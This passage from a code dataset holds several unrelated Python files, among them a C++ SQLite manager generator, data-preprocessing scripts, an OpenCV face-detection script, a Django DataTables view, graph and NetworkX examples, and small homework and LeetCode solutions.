{prefix}resolve_references(sqlite3 * db{ref_manager_args})'\n\ndef generate_manager(object_type, dst_dir):\n src_filename = os.path.join(script_dir, 'src', 'datamodel', '{}.hpp'.format(object_type))\n \n manager_type = object_type + 'Manager'\n print(' Generating {}...'.format(manager_type))\n \n columns, arrays, maps, reflists_array, reflists_unordered_set, reflists_IndexedSet = parse_type(object_type, src_filename)\n \n ref_vars = [(c[1], c[2]) for c in columns if c[0] == 'REF'] + \\\n reflists_array + reflists_unordered_set + reflists_IndexedSet\n \n# print('columns: {}'.format(json.dumps(columns)))\n# print('arrays: {}'.format(json.dumps(arrays)))\n# print('maps: {}'.format(json.dumps(maps)))\n# print('ref_vars: {}'.format(json.dumps(ref_vars)))\n \n def format_forward_declarations():\n return '\\n'.join([\n 'struct {}Manager;'.format(c[0]) for c in ref_vars\n ])\n \n def format_table_name_args(vars):\n if len(vars) == 0:\n return ''\n return ', ' + ', '.join(['char const * const {}_table_name'.format(var) for var in vars])\n \n def format_manager_args():\n if len(ref_vars) == 0:\n return ''\n return ', ' + ', '.join(['{}Manager & {}_manager'.format(c[0], c[1]) for c in ref_vars])\n \n def format_manager_header():\n def format_resolve_references_signature():\n return resolve_references_signature_format.format(\n prefix = '',\n ref_manager_args = format_manager_args()\n )\n \n return manager_header_format.format(\n object_type = object_type,\n manager_type = manager_type,\n forward_declarations = format_forward_declarations(),\n resolve_references_signature = format_resolve_references_signature()\n )\n \n manager_header_filename = os.path.join(dst_dir, manager_type + '.hpp')\n with open(manager_header_filename, 'w') as header_file:\n header_file.write(format_manager_header())\n \n def sqlite_type_for_type(type_str):\n if type_str.startswith('uint') or type_str.startswith('int') or type_str == 'bool':\n return 'int64'\n elif type_str == 'double':\n return 'double'\n elif type_str == 'std::string':\n return 'text'\n return 'int64'\n \n def sql_type_for_type(type_str):\n if type_str.startswith('uint') or type_str.startswith('int'):\n return 'INTEGER'\n elif type_str == 'double':\n return 'REAL'\n elif type_str == 'std::string':\n return 'TEXT'\n return 'INTEGER'\n \n def format_manager_implementation():\n def format_manager_includes():\n return '\\n'.join([\n '#include \"{}Manager.hpp\"'.format(c[0])\n for c in ref_vars\n ])\n \n def format_object_includes():\n return '\\n'.join([\n '#include \"{}.hpp\"'.format(c[0])\n for c in ref_vars\n ])\n \n def format_resolve_references_signature():\n return resolve_references_signature_format.format(\n prefix = manager_type + '::',\n ref_manager_args = format_manager_args(),\n )\n \n def format_load_column_statements():\n def format_rhs(col_info, index):\n if col_info[0] == 'FIELD':\n return 'sqlite3_column_{sqlite_type}(stmt, {index})'.format(\n name = col_info[2],\n sqlite_type = sqlite_type_for_type(col_info[1]),\n index = index\n )\n else:\n return 'NULL'\n \n def format_load_column_statement(col_info, index):\n return 'obj->{name} = {rhs};'.format(\n name = col_info[2],\n sqlite_type = sqlite_type_for_type(col_info[1]),\n index = index,\n rhs = format_rhs(col_info, index)\n )\n \n return '\\n '.join([\n format_load_column_statement(col_info, index + 1) for index, col_info in enumerate(columns)\n ])\n \n def format_load_reference_column_statements():\n def format_load_reference_column_statement(col_info, index):\n return 'if(sqlite3_column_type(stmt, {index}) != SQLITE_NULL) {{ obj->{name} = {name}_manager.object_for_id(sqlite3_column_int64(stmt, {index})); }}'.format(\n name = col_info[2],\n index = index\n )\n \n return '\\n '.join([\n format_load_reference_column_statement(col_info, index + 1) for index, col_info in enumerate(columns)\n if col_info[0] == 'REF'\n ])\n \n def format_sql_create_columns():\n if len(columns) == 0:\n return ''\n \n def format_create_column(col_info):\n if col_info[0] == 'FIELD':\n return '{} {}'.format(col_info[2], sql_type_for_type(col_info[1]))\n else:\n assert col_info[0] == 'REF'\n return '{}_id INTEGER'.format(col_info[2])\n \n return ', ' + ', '.join([format_create_column(col_info) for col_info in columns])\n \n def format_sql_insert_qmarks():\n if len(columns) == 0:\n return ''\n \n return ',' + ','.join(['?'] * len(columns))\n \n def format_bind_column_statements():\n def format_bind_column_statement(col_info, index):\n if col_info[0] == 'FIELD':\n return 'sqlite3_bind_{}(stmt, {}, obj->{});'.format(\n sqlite_type_for_type(col_info[1]),\n index,\n col_info[2]\n )\n else:\n assert col_info[0] == 'REF'\n return 'if(obj->{name} == NULL) {{ sqlite3_bind_null(stmt, {index}); }} else {{ sqlite3_bind_int64(stmt, {index}, obj->{name}->id); }}'.format(\n index = index,\n name = col_info[2]\n )\n \n return '\\n '.join([\n format_bind_column_statement(col_info, index + 2) for index, col_info in enumerate(columns)\n ])\n \n def format_create_reflist_blocks_array():\n def create_reflist_block(reflist_spec):\n ref_type, reflist_var = reflist_spec\n return create_reflist_block_array_format.format(\n object_type = object_type,\n ref_type = ref_type,\n reflist_var = reflist_var\n )\n \n return '\\n '.join([\n create_reflist_block(reflist_spec) for reflist_spec in reflists_array\n ])\n \n def format_create_reflist_blocks_unordered_set():\n def create_reflist_block(reflist_spec):\n ref_type, reflist_var = reflist_spec\n return create_reflist_block_unordered_set_format.format(\n object_type = object_type,\n ref_type = ref_type,\n reflist_var = reflist_var\n )\n \n return '\\n '.join([\n create_reflist_block(reflist_spec) for reflist_spec in reflists_unordered_set\n ])\n \n def format_create_reflist_blocks_IndexedSet():\n def create_reflist_block(reflist_spec):\n ref_type, reflist_var = reflist_spec\n return create_reflist_block_IndexedSet_format.format(\n object_type = object_type,\n ref_type = ref_type,\n reflist_var = reflist_var\n )\n \n return '\\n '.join([\n create_reflist_block(reflist_spec) for reflist_spec in reflists_IndexedSet\n ])\n \n def format_load_reflist_blocks_array():\n def format_load_reflist_block(reflist_spec):\n ref_type, reflist_var = reflist_spec\n return load_reflist_block_array_format.format(\n object_type = object_type,\n ref_type = ref_type,\n reflist_var = reflist_var\n )\n \n return '\\n '.join([\n format_load_reflist_block(reflist_spec) for reflist_spec in reflists_array\n ])\n \n def format_load_reflist_blocks_unordered_set():\n def format_load_reflist_block(reflist_spec):\n ref_type, reflist_var = reflist_spec\n return load_reflist_block_unordered_set_format.format(\n object_type = object_type,\n ref_type = ref_type,\n reflist_var = reflist_var\n )\n \n return '\\n '.join([\n format_load_reflist_block(reflist_spec) for reflist_spec in reflists_unordered_set\n ])\n \n def format_load_reflist_blocks_IndexedSet():\n def format_load_reflist_block(reflist_spec):\n ref_type, reflist_var = reflist_spec\n return load_reflist_block_IndexedSet_format.format(\n object_type = object_type,\n ref_type = ref_type,\n reflist_var = reflist_var\n )\n \n return '\\n '.join([\n format_load_reflist_block(reflist_spec) for reflist_spec in reflists_IndexedSet\n ])\n \n def format_create_array_blocks():\n def create_array_block(spec):\n value_type, array_var = spec\n return create_array_block_format.format(\n object_type = object_type,\n sql_type = sql_type_for_type(value_type),\n array_var = array_var,\n sqlite3_bind_type = sqlite_type_for_type(value_type)\n )\n \n return '\\n '.join([\n create_array_block(spec) for spec in arrays\n ])\n \n def format_load_array_blocks():\n def load_array_block(spec):\n value_type, array_var = spec\n return load_array_block_format.format(\n object_type = object_type,\n sql_type = sql_type_for_type(value_type),\n array_var = array_var,\n sqlite3_bind_type = sqlite_type_for_type(value_type)\n )\n \n return '\\n '.join([\n load_array_block(spec) for spec in arrays\n ])\n \n def format_create_map_blocks():\n def create_map_block(spec):\n key_type, value_type, map_var = spec\n return create_map_block_format.format(\n object_type = object_type,\n sql_key_type = sql_type_for_type(key_type),\n sql_value_type = sql_type_for_type(value_type),\n map_var = map_var,\n sqlite3_bind_key_type = sqlite_type_for_type(key_type),\n sqlite3_bind_value_type = sqlite_type_for_type(value_type)\n )\n \n return '\\n '.join([\n create_map_block(spec) for spec in maps\n ])\n \n def format_load_map_blocks():\n def load_map_block(spec):\n key_type, value_type, map_var = spec\n return load_map_block_format.format(\n object_type = object_type,\n sql_key_type = sql_type_for_type(key_type),\n sql_value_type = sql_type_for_type(value_type),\n map_var = map_var,\n sqlite3_bind_key_type = sqlite_type_for_type(key_type),\n sqlite3_bind_value_type = sqlite_type_for_type(value_type)\n )\n \n return '\\n '.join([\n load_map_block(spec) for spec in maps\n ])\n \n return manager_implementation_format.format(\n object_type = object_type,\n manager_type = manager_type,\n manager_includes = format_manager_includes(),\n object_includes = format_object_includes(),\n resolve_references_signature = format_resolve_references_signature(),\n load_column_statements = format_load_column_statements(),\n load_reference_column_statements = format_load_reference_column_statements(),\n sql_create_columns = format_sql_create_columns(),\n sql_insert_qmarks = format_sql_insert_qmarks(),\n bind_column_statements = format_bind_column_statements(),\n create_array_blocks = format_create_array_blocks(),\n load_array_blocks = format_load_array_blocks(),\n create_map_blocks = format_create_map_blocks(),\n load_map_blocks = format_load_map_blocks(),\n create_reflist_blocks_array = format_create_reflist_blocks_array(),\n create_reflist_blocks_unordered_set = format_create_reflist_blocks_unordered_set(),\n create_reflist_blocks_IndexedSet = format_create_reflist_blocks_IndexedSet(),\n load_reflist_blocks_array = format_load_reflist_blocks_array(),\n load_reflist_blocks_unordered_set = format_load_reflist_blocks_unordered_set(),\n load_reflist_blocks_IndexedSet = format_load_reflist_blocks_IndexedSet()\n )\n \n manager_implementation_filename = os.path.join(dst_dir, manager_type + '.cpp')\n with open(manager_implementation_filename, 'w') as implementation_file:\n implementation_file.write(format_manager_implementation())\n\nif __name__ == '__main__':\n main()\n","sub_path":"generate_managers.py","file_name":"generate_managers.py","file_ext":"py","file_size_in_byte":20900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"154602740","text":"import pandas as pd\nfrom sklearn import preprocessing\n\ndata = pd.read_csv('../coupon/coupon_source.csv')#'C:/Users/chudi/.spyder2-py3/gosdt/data/coupon/coupon_source.csv')\ndata = data.drop('car', axis=1)\ndata = data.dropna()\ndata = data.drop('map', axis=1)\ndata = data.drop('click', axis=1)\ndata = data.drop('toCoupon_GEQ5min', axis=1)\ndata = data.drop('direction_opp', axis=1)\n \ndef data_transform(data):\n for i in range(data.shape[1]-1):\n le = preprocessing.LabelEncoder()\n le.fit(data.iloc[:,i])\n print(le.classes_)\n data.iloc[:,i] = le.transform(data.iloc[:,i])\n \n \n colnames = data.columns\n for i in range(len(colnames)-1):\n uni = data[colnames[i]].unique()\n uni.sort()\n for j in range(len(uni)-1):\n data[colnames[i]+str(uni[j])] = 1\n k = data[colnames[i]] != uni[j]\n data.loc[k, colnames[i]+str(uni[j])] = 0 \n data = data.drop(colnames[i], axis=1)\n data['target'] = data['Y']\n data = data.drop('Y', axis=1)\n return data\n \nrest20 = data[data['coupon'] == 'Restaurant(<20)']\nrest20 = rest20.drop('coupon', axis=1)\nrest20 = data_transform(rest20)\nrest20.to_csv('coupon_rest20.csv', sep=\";\", index=False)\n\n","sub_path":"datasets/original_datasets/coupon_rest20/generate_coupon_rest20.py","file_name":"generate_coupon_rest20.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"74968717","text":"\n# Define G\nG = np.array([[0, 1], [2, 4], [5, 1]])\n\n# Define W\nW = np.array([[3, 2, 1], [1, 2, 7]])\n\n# Compute V\n# in Python, we can use @ for matrix multiplication: matrix1 @ matrix2\nV = W @ G\n\n# Print values of V\nprint(V)","sub_path":"tutorials/W0D3_LinearAlgebra/solutions/W0D3_Tutorial2_Solution_77c52178.py","file_name":"W0D3_Tutorial2_Solution_77c52178.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"550211776","text":"import os\nimport pandas as pd\nimport numpy as np\nimport datetime\nfrom sklearn.preprocessing import StandardScaler\n\nimport config\nfrom utils import setup_logger\n\ndef application_preprocessing(df, logger, save_path):\n logger.info('Start Prerpocessing')\n\n threshold = round(len(df) * config.PERCENT)\n null_cnt = df[[col for col in df.columns if col not in config.unused]].isnull().sum()\n reject_col = null_cnt[null_cnt > threshold].index\n df = df[[col for col in df.columns if col not in reject_col]]\n \n #kaggle FE\n logger.info('add 1 groupby feature NEW_INC_BY_ORG')\n inc_by_org = df[['AMT_INCOME_TOTAL', 'ORGANIZATION_TYPE']].groupby('ORGANIZATION_TYPE').median()['AMT_INCOME_TOTAL']\n df['NEW_INC_BY_ORG'] = df['ORGANIZATION_TYPE'].map(inc_by_org)\n\n num_col = [col for col in df.columns if df[col].dtype != 'object' and col not in config.unused]\n not_num_col = [col for col in df.columns if col not in num_col and col not in config.unused]\n\n df = pd.get_dummies(df, columns=not_num_col, dummy_na=True)\n\n logger.info('Handling Missing Values')\n for col in df.columns:\n if col in num_col:\n df[col].fillna(df[col].mean(), inplace=True)\n if config.SCALING:\n sc = StandardScaler()\n df[col] = sc.fit_transform(df[col].values.reshape(-1, 1))\n\n logger.info('application shape:{0}'.format(df.shape))\n logger.info('Save data to directory {0}'.format(save_path))\n\n train = df[~df['TARGET'].isnull()]\n test = df[df['TARGET'].isnull()].drop(['TARGET'], axis=1)\n train.to_pickle(os.path.join(save_path, 'application_train.pickle'))\n test.to_pickle(os.path.join(save_path, 'application_test.pickle'))\n\n logger.info('Finish Preprocessing')\n\nif __name__ == '__main__':\n NOW = datetime.datetime.now().strftime('%Y-%m-%d_%H:%M:%S')\n logger = setup_logger('./logs/preprocessing_{0}.log'.format(NOW))\n train_df = pd.read_csv(os.path.join(config.DATA_PATH, 'application_train.csv'), nrows=None)\n test_df = pd.read_csv(os.path.join(config.DATA_PATH, 'application_test.csv'), nrows=None)\n all_df = pd.concat([train_df, test_df])\n application_preprocessing(all_df, logger, config.SAVE_PATH)","sub_path":"src/preprocess_add_1_groupby.py","file_name":"preprocess_add_1_groupby.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"531052339","text":"\nimport cv2\n\ncap = cv2.VideoCapture(0,cv2.CAP_DSHOW)\nyuz_cas = cv2.CascadeClassifier(r\"SAKIR\\OPENCV\\cascades\\haarcascade_frontalface_default.xml\")\neye_cas = cv2.CascadeClassifier(r\"SAKIR\\OPENCV\\cascades\\haarcascade_eye.xml\")\nwhile True:\n ret,frame = cap.read()\n gri = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n\n yuzler = yuz_cas.detectMultiScale(gri,1.3,5)\n for x,y,w,h in yuzler:\n cv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,255),2)\n roi = frame[y:y+h,x:x+w]\n roigri = gri[y:y+h,x:x+w]\n gozler = eye_cas.detectMultiScale(roigri)\n for ex,ey,ew,eh in gozler:\n cv2.rectangle(roi,(ex,ey),(ex+ew,ey+eh),(255,0,0),1)\n\n\n cv2.imshow(\"resim\",frame)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n\n\n","sub_path":"SAKIR/OPENCV/opencv13.py","file_name":"opencv13.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"433741193","text":"# Name: Bryan Greener\r\n# Date: 2018-01-29\r\n# Homework: 2\r\n\r\n# Open file, read contents into variable, then close file.\r\nf = open(\"charactermask.txt\", encoding=\"utf8\")\r\ncontents = list(f.read())\r\nf.close()\r\n# File read error\r\nif contents == \"\":\r\n print(\"FILE READ ERROR. CONTENTS EMPTY\")\r\n# String used as pseudo regex\r\nascii = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n# Replace all non alphabet chars with space\r\nfor x in range(0,len(contents)):\r\n if contents[x] not in ascii:\r\n contents[x] = ' ';\r\n contents[x] = contents[x].lower()\r\ncontents = \"\".join(contents)\r\n# Split at spaces\r\nword = contents.split()\r\n# Initialize a dictionary to store words\r\nwd = {}\r\n# For each word\r\nfor x in range(0,len(word)):\r\n # If word exists increment, otherwise add to dict\r\n if len(word[x]) > 1:\r\n if word[x] in wd.keys():\r\n wd[word[x]] += 1\r\n else:\r\n wd[word[x]] = 1\r\n# Lists used to store most and least used words. Unique counter\r\nmost = [\"\"]*10\r\nleast = [\"\"]*10\r\nunique = 0\r\n# For each item in dict\r\nfor key, value in wd.items():\r\n # from index 0 to 9\r\n for i in range(0,10):\r\n # If no item in index, add key\r\n if most[i] == \"\":\r\n most[i] = key\r\n break\r\n # Else if current key is larger than key at index in list\r\n elif value > wd[most[i]]:\r\n for y in range(9, i-1, -1):\r\n most[y] = most[y-1]\r\n most[i] = key\r\n break\r\n for i in range(0,10):\r\n # Repeat for least[] list\r\n if value > 1:\r\n if least[i] == \"\":\r\n least[i] = key\r\n break\r\n elif value <= wd[least[i]]:\r\n for y in range(9, i-1, -1):\r\n least[y] = least[y-1]\r\n least[i] = key\r\n break\r\n if value == 1:\r\n unique += 1\r\n# Print out results\r\nprint(\"-----------------------------------\")\r\nprint(\"# Most Frequent Words:\")\r\nprint(\"WORD\".ljust(20), \"COUNT\")\r\nprint(\"___________________________________\")\r\nfor x in range(0, 10):\r\n print(most[x].ljust(20), wd.get(most[x]))\r\nprint(\"-----------------------------------\")\r\nprint(\"# Least Frequent Words:\")\r\nprint(\"WORD\".ljust(20), \"COUNT\")\r\nprint(\"___________________________________\")\r\nfor x in range(0, 10):\r\n print(least[x].ljust(20), wd.get(least[x]))\r\nprint(\"-----------------------------------\")\r\nprint(\"Number of Unique Words:\\n%s\" % unique)\r\n","sub_path":"Spring 2018/Python/Assignments/Assignment#2/hw#2_Greener.py","file_name":"hw#2_Greener.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"290798581","text":"import json\nimport operator\nfrom functools import reduce\n\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.views.generic import View\n\n\nclass ColumnTranslator(object):\n def columns_translator(self, columns):\n translated_column = []\n for column in columns:\n if column in self.foreign_columns.keys():\n col = self.foreign_columns.get(column)\n elif column in self.computed_columns.keys():\n col = self.computed_columns.get(column)\n else:\n col = column\n\n translated_column.append(col)\n return translated_column\n\n def filter_transform(self, keyword):\n filtered_columns = []\n for column in self.columns_translator(self.filter_columns):\n filtered_columns.append(Q(**{'%s__icontains' % column: keyword}))\n return reduce(operator.or_, filtered_columns)\n\n def foreign_column_parser(self, column):\n if '__' in column:\n return column.replace('__', '.')\n return column\n\n def foreign_columns_translator(self):\n translated_foreign_columns = {}\n for k, v in self.foreign_columns.items():\n translated_foreign_columns[k] = self.foreign_column_parser(v)\n return translated_foreign_columns\n\n def computed_columns_translator(self):\n translated_computed_columns = {}\n for k, v in self.computed_columns.items():\n translated_computed_columns[k] = [self.foreign_column_parser(val) if '__' in val else val for val in v]\n return translated_computed_columns\n\n\nclass ServerSideDataTableView(ColumnTranslator, View):\n queryset = None\n columns = []\n foreign_columns = {}\n computed_columns = {}\n filter_columns = []\n\n def post(self, request):\n dataset = self._setup_datatables(request)\n return HttpResponse(json.dumps(dataset, cls=DjangoJSONEncoder), content_type='application/json')\n\n def _setup_datatables(self, request):\n datatables = request.POST\n # Ambil draw\n draw = int(datatables.get('draw'))\n # Ambil start\n start = int(datatables.get('start'))\n # Ambil length (limit)\n length = int(datatables.get('length'))\n # Ambil data search\n search = datatables.get('search[value]')\n # Set record total\n records_total = self.queryset.count()\n # Set records filtered\n records_filtered = records_total\n # Ambil semua invoice yang valid\n queryset = self.queryset\n\n if search:\n queryset = self.queryset.filter(self.filter_transform(search))\n records_total = queryset.count()\n records_filtered = records_total\n\n # Atur paginator\n paginator = Paginator(queryset, length)\n\n try:\n object_list = paginator.page(draw).object_list\n except PageNotAnInteger:\n object_list = paginator.page(draw).object_list\n except EmptyPage:\n object_list = paginator.page(paginator.num_pages).object_list\n\n data = []\n fileds = self.columns_translator(self.columns)\n keyworded_fields = list_to_dict(self.columns, fileds)\n for i, obj in enumerate(object_list):\n new_obj = {'counter': i + 1}\n for k, field in keyworded_fields.items():\n if isinstance(field, (list, tuple)):\n values = []\n for val in field:\n values.append(eval('obj.%s' % self.foreign_column_parser(val)))\n new_obj[k] = ' '.join(values)\n else:\n new_obj[k] = eval('obj.%s' % self.foreign_column_parser(field))\n data.append(new_obj)\n\n return {\n 'draw': draw,\n 'recordsTotal': records_total,\n 'recordsFiltered': records_filtered,\n 'data': data,\n }\n","sub_path":"django_server_side_datatable/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"509861972","text":"print(\"Enter a magic number: \")\nnumber1 = input()\nnumber2 = input()\nnumber3 = input()\n# Convert a string of number into array\nline1 = [int(x) for x in number1]\nline2 = [int(x) for x in number2]\nline3 = [int(x) for x in number3]\nsquare = [line1,line2,line3] # Converge three arrays into one two-dimension array\nisMagic = True # Set isMagic's default as True\n\n# Check each row to see if their sum is equal to 15\nfor i in range(len(square)):\n horizontal = 0\n for j in range(len(square[0])):\n horizontal += square[i][j]\n if horizontal != 15:\n isMagic = False\n break\n\n# Check each column to see if their sum is equal to 15\nfor j in range(len(square[0])):\n vertical = 0\n for i in range(len(square)):\n vertical += square[i][j]\n if vertical != 15:\n isMagic = False\n break\n \n# Check if the diagonal sum is equal to 15\ndiag1 = 0 # The sum of values in the diagonal line from top-left to bottom-right\ndiag2 = 0 # The sum of values in the diagonal line from top-right to botton-left\nfor i in range(len(square)):\n for j in range(len(square[0])):\n if i == j:\n diag1 += square[i][j]\n if i + j == 2:\n diag2 += square[i][j]\nif diag1 != 15 or diag2 != 15:\n isMagic = False\n\n# Print out the result\nif isMagic == True:\n print(\"This is a magic square!\")\nelse:\n print(\"Not a magic square!\")","sub_path":"CS5001/lab04/03_magic_square.py","file_name":"03_magic_square.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"451279887","text":"from flask import Blueprint, flash, render_template, redirect, url_for\nfrom flask_login import current_user, login_user, logout_user\nfrom webapp.user.forms import LoginForm\nfrom webapp.user.models import User\nfrom webapp import db\n\nblueprint = Blueprint('user', __name__, url_prefix='/users')\n\n\n@blueprint.route('/login/')\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('dashboard.dashboard_index'))\n title = 'Авторизация'\n login_form = LoginForm()\n return render_template('user/login.html', page_title=title, form=login_form)\n\n@blueprint.route('/process-login/', methods=['POST'])\ndef process_login():\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter(User.login == form.username.data).first()\n if user and user.check_password(form.password.data):\n login_user(user, remember=form.remember_me.data)\n return redirect(url_for('dashboard.dashboard_index'))\n flash('Неправильное имя или пароль')\n return redirect(url_for('user.login'))\n\n@blueprint.route('/logout/')\ndef logout():\n logout_user()\n return redirect(url_for('dashboard.dashboard_index'))\n\n\n# @blueprint.route('/register', methods=['GET', 'POST'])\n# def register():\n# if current_user.is_authenticated:\n# return redirect(url_for('dashboard.dashboard_index'))\n# form = RegistrationForm()\n# if form.validate_on_submit():\n# user = User(login=form.username.data, email=form.email.data)\n# user.set_password(form.password.data)\n# db.session.add(user)\n# db.session.commit()\n# flash('Congratulations, you are now a registered user!')\n# return redirect(url_for('user.login'))\n# return render_template('user/register.html', title='Register', form=form)\n","sub_path":"webapp/user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"357715940","text":"#!/usr/bin/env python\n\"\"\"\nAn example using Graph as a weighted network.\n\"\"\"\n__author__ = \"\"\"Aric Hagberg (hagberg@lanl.gov)\"\"\"\ntry:\n import matplotlib.pyplot as plt\nexcept:\n raise\n\nimport networkx as nx\nimport numpy as np\n\nG=nx.Graph()\n\n#WebID 1\nG.add_edge('E1','W1',weight=20)\nG.add_edge('W1','Cok1',weight=7)\nG.add_edge('Cok1','Crd1',weight=4)\nG.add_edge('Cok1','Crd2',weight=3)\n\nG.add_edge('W1','Cok2',weight=13)\nG.add_edge('Cok2','Crd1',weight=7)\nG.add_edge('Cok2','Crd2',weight=4)\n\nG.add_edge('E2','Cok2',weight=13)\nG.add_edge('Cok1','Crd1',weight=6)\nG.add_edge('Cok2','Crd2',weight=4)\n\n\n\n#WebID 2\nG.add_edge('E3','W2',weight=13)\n\nG.add_edge('W2','Cok1',weight=2)\nG.add_edge('Cok1','Crd3',weight=2)\n\nG.add_edge('W2','Cok4',weight=11)\nG.add_edge('Cok4','Crd3',weight=8)\n\n#elarge=[(u,v) for (u,v,d) in G.edges(data=True) if d['weight'] >0.5]\n#esmall=[(u,v) for (u,v,d) in G.edges(data=True) if d['weight'] <=0.5]\n\npos=nx.spring_layout(G,k=20) # positions for all nodes\n\n# nodes\nnx.draw_networkx_nodes(G,pos,node_size=600)\n\n# edges\nnx.draw_networkx_edges(G,pos,width=1)\n\n# labels\nnx.draw_networkx_labels(G,pos,font_size=8,font_family='sans-serif')\n#labels = nx.get_edge_attributes(G,'weight')\n#nx.draw_networkx_edge_labels(G,pos,edge_labels=labels,fontsize='0.5')\n\nplt.axis('off')\nplt.savefig(\"example.png\") # save as png\nplt.show() # display\n\n\n\n\n\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"233294703","text":"class Solution:\n def findLeaves(self, root):\n res = []\n self.helper(root, res)\n return res\n\n def helper(self, root, res):\n if not root:\n return -1\n depth = 1 + max(self.helper(root.left, res),\n self.helper(root.right, res))\n if depth >= len(res):\n res.append([])\n res[depth].append(root.val)\n return depth\n\n\nclass Solution:\n def findLeaves(self, root):\n res = []\n while root:\n leaves = []\n root = self.remove(root, leaves)\n res.append(leaves)\n return res\n\n def remove(self, node, leaves):\n if not node:\n return None\n if not node.left and not node.right:\n leaves.append(node.val)\n return None\n node.left = self.remove(node.left, leaves)\n node.right = self.remove(node.right, leaves)\n return node\n","sub_path":"python/leetcode/366.py","file_name":"366.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"304870606","text":"# Julio Herrera 19402\n# Modulo de grafo con direcciones que implementa el uso de networkX y el algoritmo de floyd warshall\n\nimport networkx as nx\n\n# Crea el grafo\ngraph = nx.DiGraph()\n\n# Inserta los vertices y la arista\ndef addEdge(sourceVertex, targetVertex, distance):\n # Si es 0 se elimina la arista\n if (distance == 0):\n if graph.has_edge(sourceVertex, targetVertex):\n graph.remove_edge(sourceVertex, targetVertex)\n else:\n print(\"No existe la ruta\")\n else:\n # Si los vertices no existen, los crea\n if not containsVertex(sourceVertex):\n graph.add_node(sourceVertex)\n if not containsVertex(targetVertex):\n graph.add_node(targetVertex)\n # Crea la arista indicada\n graph.add_edge(sourceVertex, targetVertex, weight=float(distance))\n\n# Comprueba si existe le vertice en el grafo\ndef containsVertex(vertex):\n if vertex in graph.nodes():\n return True\n else:\n return False\n\n# Muestra la ruta mas corta entre dos vertices y la ruta entre ellos\ndef getMinEdge(sourceVertex, targetVertex):\n # Obtiene la ruta entre cada uno de las conexiones y sus distancias minimas\n predecesors, distance = nx.floyd_warshall_predecessor_and_distance(graph)\n print(\"La distancia mas corta es (Km):\")\n print(distance[sourceVertex][targetVertex])\n # Si la distancia es infinito no hacer nada\n if (distance[sourceVertex][targetVertex] != float('Inf')):\n print(\"Las ciudades por las que pasar son: \")\n pred = predecesors[sourceVertex][targetVertex]\n preds = []\n if (pred == sourceVertex):\n print(\"Ninguna\")\n else:\n # Recorre para obtener los nodos intermedios\n while (pred != sourceVertex):\n preds.append(pred)\n pred = predecesors[sourceVertex][pred]\n preds = preds[::-1] # Da vuelta al array\n for pred in preds:\n print(pred)\n\n# La funcion center de networkx retorna varios nodos centrales\ndef getCenter():\n excentricities = []\n for posibleCenter in nx.betweenness_centrality(graph):\n excentricities.append(nx.betweenness_centrality(graph).get(posibleCenter))\n for posibleCenter in nx.betweenness_centrality(graph):\n if (nx.betweenness_centrality(graph).get(posibleCenter) == max(excentricities)):\n print(posibleCenter)","sub_path":"python/FloydGraph.py","file_name":"FloydGraph.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"179605205","text":"import os\nos.chdir(\"../\")\n\n# Set Year of which the data runs to here! Only use the ast two digits (i.e. 2012 = 12)\n# This should be all you have to change in this file unless naming conventions change or a data series is not nenewed etc.\nyr = \"17\"\nyrn = 17\n\n# Format Individual Data\n# NEED TO SET TO SUBFOLDERS\npath = \"IndividualData/ind20\" + yr + \"er/\"\nfolderpath = os.getcwd() +\"\\IndividualData\\ind20\" + yr + \"er\"\nreadpath = path + \"IND20\" + yr + \"ER.do\"\nwritepath = path + \"IND20\" + yr + \"ERnew.do\"\nwith open(readpath, \"r\") as file:\n fix = file.read()\n fix = fix.replace('[path]\\\\', '')\nwith open(writepath, \"w\") as file:\n file.write(\"cd \" + folderpath)\n file.write(fix)\n file.write(\"\\nsave ..\\individual, replace;\")\n\n# Format Child History Data\npath = \"ChildHistoryData/cah85_\" + yr + \"/\"\nfolderpath = os.getcwd() +\"\\ChildHistoryData\\cah85_\" + yr\nreadpath = path + \"CAH85_\" + yr + \".do\"\nwritepath = path + \"CAH85_\" + yr + \"new.do\"\nwith open(readpath, \"r\") as file:\n fix = file.read()\n fix = fix.replace('[path]\\\\', '')\nwith open(writepath, \"w\") as file:\n file.write(\"cd \" + folderpath)\n file.write(fix)\n file.write(\"\\nsave ..\\childhistory, replace;\")\n\n\n# Format Family Data\nfor y in range(1999, 